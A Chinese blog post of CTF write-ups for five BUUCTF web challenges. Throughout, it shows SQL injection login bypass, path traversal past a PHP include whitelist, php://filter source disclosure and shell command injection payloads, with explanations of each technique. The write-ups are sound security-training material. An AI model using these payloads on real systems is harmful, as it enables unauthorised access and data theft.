BUUCTF web

BUUCTF web

1 [极客大挑战 2019]EasySQL

sql注入之万能密码

✔解题方法

1.判断类型为:有回显、字符型sql注入

当输入343、343)、343’‘、343’‘)

当输入343‘时

当输入343‘)时

说明为字符型,闭合方式为’

2.使用万能密码

  • 用户名:’or '1'='1' #
  • 密码:随便

👀知识点

1.万能密码

万能密码:

' or '1' = '1' #

数据库中的查询语句:

select * from admin where username = 'user' and password = 'pass'

解释万能密码:

select * from admin where username = '' or '1' = '1' # and password = 'pass'

username = ' ' or '1' = '1'

1=1为真,#号为注释

2.sql注入的分类

根据数据类型分类:

​ 数字型:输入的参数为整型,如id、年龄、页码等

​ 字符型:输入的参数为字符串(单引号闭合)

⁉疑惑

1.1’与1‘)的区别

​ 当,id输入的是1),那么拼接成的sql语句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样

2 [极客大挑战 2019]WarmUp

代码审计

✔解题方法

1.查看网页源代码

<html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg">
</body></html>

2.查看source.cpp文件(看不懂,先摆一会🤪)

http://1742fad2-dca5-4983-9545-a7f1f066d279.node4.buuoj.cn:81/source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //如果page的值为空或者不是字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            //检测page的值是否在白名单中
            if (in_array($page, $whitelist)) {
                return true;
            }
            //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //检验page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //将url编码后的字符串还原成未编码的样子,然后赋值给page
            $_page = urldecode($page);
            //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //检验page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

参考大佬https://blog.csdn.net/m0_52923241/article/details/119641325

4.查看hint.php文件

http://1742fad2-dca5-4983-9545-a7f1f066d279.node4.buuoj.cn:81/hint.php

显示:

flag not here, and flag in ffffllllaaaagggg

说明文件在ffffllllaaaagggg里

5.找到ffffllllaaaagggg文件

http://1742fad2-dca5-4983-9545-a7f1f066d279.node4.buuoj.cn:81/?file=hint.php?../../../../../ffffllllaaaagggg

找到flag{2a624c8c-cb76-40ea-a1d2-14fb8a8347f9}

👀知识点

1.代码审计的定义

顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

🤔说白了就是理解代码,看看有没有bug

2.函数

is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子

3.路径中的"./"、"../"、"/"代表的含义

“./”:代表目前所在的目录。

" . ./": 代表上一层目录。

“/”:代表根目录。

3 [极客大挑战 2019]Havefun

代码审计

✔解题方法

1.查看网页源代码

</div>
                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->
      <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
      </body>
</html>

2.代码审计

有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog

​ flag{6cc80505-7843-4ee7-b897-cbc0283e9485}

👀知识点

1.payload

​ payload 字面意思 “有效载荷,有效负荷,有效载重”。

​ payload就是协议报文中的有效载荷所占报文的百分比,用报文中去除协议的长度/报文总长度,协议设计的时候需要考虑到有效载荷所占的比重,避免出现payload很小的情况,比如TCP在设计的时候,就考虑在发送报文过程中,增加了接收报文的确认,而不是单独发送一个确认,因为单独发送一个报文的payload太低,网络利用率不高。

​ 比如有一位客户需要支付一笔费用委托货车司机运送一车石油,石油本身的重量、车子的重量、司机的重量等等,这些都属于载重(load)。但是对于该客户来说,他关心的只有石油的重量,所以石油的重量是有效载重(payload,也就是付费的重量)。

​ 那么payload对于程序员来说就是在程序中起关键作用的代码

​ 渗透测试中所谓的 payload 是有效载荷,指成功 exploit 之后,真正在目标系统执行的代码或指令,黑客所谓的 payload 指的是病毒或者木马执行的一些有害的恶性动作。

​ Payload 被用在了很多地方,也是最让人傻傻分不清的名词。所有被承载的物品都能叫做 Payload,因此:

  • 用 Loader 执行 Shellcode,Shellcode 可以被叫做 Payload
  • 用 DLL 反射方法执行一个反射 DLL 文件,反射 DLL 文件可以叫做 Payload
  • 在 CS 中你使用键盘记录功能,传给 Beacon 一个键盘记录的反射 DLL,这个反射 DLL 可以叫做 Payload

4 [ACTF2020 新生赛]Include

文件包含

✔解题方法

1.用php://filter协议来查看源文件内容

php://filter/read=convert.base64-encode/resource=xxx.php

2.构造playload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到源文件flag.php经过base64编码后的内容:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZmMyZmY0NGItYzQ0ZC00MWUwLTkwNzEtYjAyMjMwY2IzZTlifQo=

3.base64解码

<?php
echo "Can you find out the flag?";
//flag{fc2ff44b-c44d-41e0-9071-b02230cb3e9b}

👀知识点

1.PHP封装协议:

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
​ resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
​ read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
​ write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
​ <;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

read其他参数值:

​ string.strip_tags 将数据流中所有html标签清除

​ string.toupper 将数据流中的内容转换为大写

​ string.tolower 将数据流中的内容转换为小写

​ convert.base64-decode 解码

2.什么是文件包含漏洞

​ 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

3.文件包含漏洞的环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数 据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

4.php中常见的文件包含函数

include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

5 [ACTF2020 新生赛]Exec

命令注入

✔解题方法

1.查看此文件的目录

127.0.0.1|ls

显示index.php

2.查看上级目录

127.0.0.1|ls /
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

3.查看flag

127.0.0.1|cat /flag

flag{bde41bc1-a22e-48ec-bc1a-e3cf8b2d4022}

👀知识点

1.什么是命令注入

​ Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。

​ 在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。

​ 原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

2.命令注入攻击是如何形成的

​ 嵌入式应用程序或者 web应用程序有时需要调用一些系统命令的函数,如linux C中的system(),exec(),shell-exec() 等等,当用户能够控制这些函数中的参数时,就可以将恶意参系统命令拼接到正常命令中,从而造成命令注入攻击设备系统:

命令注入的形成需要如下三个条件:

使用了内部调用shell的函数:system(),exec()等
将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数
参数中shell的元字符没有被转义

​ 危害:继承嵌入式应用程序或者 web应用程序的权限去执行系统命令读写执行文件,导致系统有可能会被恶意攻击或者泄露系统用户信息。

3.Linux中; 、| 、||、 &、&&的用法:(与6冲突的感觉)

;:用;隔开每个命令, 每个命令按照从左到右的顺序执行,互不影响,所有命令都会执行。eg:command1 ; command2

|:上一条命令的输出,作为下一条命令参数输入。eg:command1 | command2

||:逻辑或,前面的命令为真后面的命令就不会执行。eg:command1 || command2

&:放在启动参数后面表示设置此进程为后台进程,即在Linux 终端命令的末尾加上一个 & 符号则将该任务放到后台去执行。eg:command1 &

&&:逻辑与,只有前面的命令为真才会执行后面的命令。eg:command1 && command2

4.可能存在命令注入的地方

在PHP中的以下函数就可能存在命令注入:

  • system

  • exec

  • shell_exec

  • passthru

这道题题目就含有提示exec,所以就考你用命令注入来解题;

在python语言中含有可能命令注入的函数:

-*-command:system\popen\subprocess.call\spawn    
-*-code: map\filter\reduce\... 

​ python 函数名可以直接作为普通函数的参数的,理论上,如果定义了这样的函数都危险def myreduce(funcname,param):

return funcname(param)

在java中:

-*-command:java.lang.Runtime.getRuntime().exec(command)

5.windows下常见管道符

|:不管前面是否正确,直接执行后面的语句

||:执行前语句,如果前面语句有错误,就执行后面语句

&&:如果前面为真则都执行,如果前面为假都不执行

6.Linux下常见管道符

|:只显示执行后面结果

||:两者不能一起执行,只执行一个语句,先执行前面语句,然后执行后面语句,前面出错则执行后面语句

&:无论对错,前后都会执行

&&:前后语句都执行,前面语句出错,则都不执行

同类型:

posted @ 2022-09-28 10:05  花花Flower  阅读(41)  评论(0编辑  收藏  举报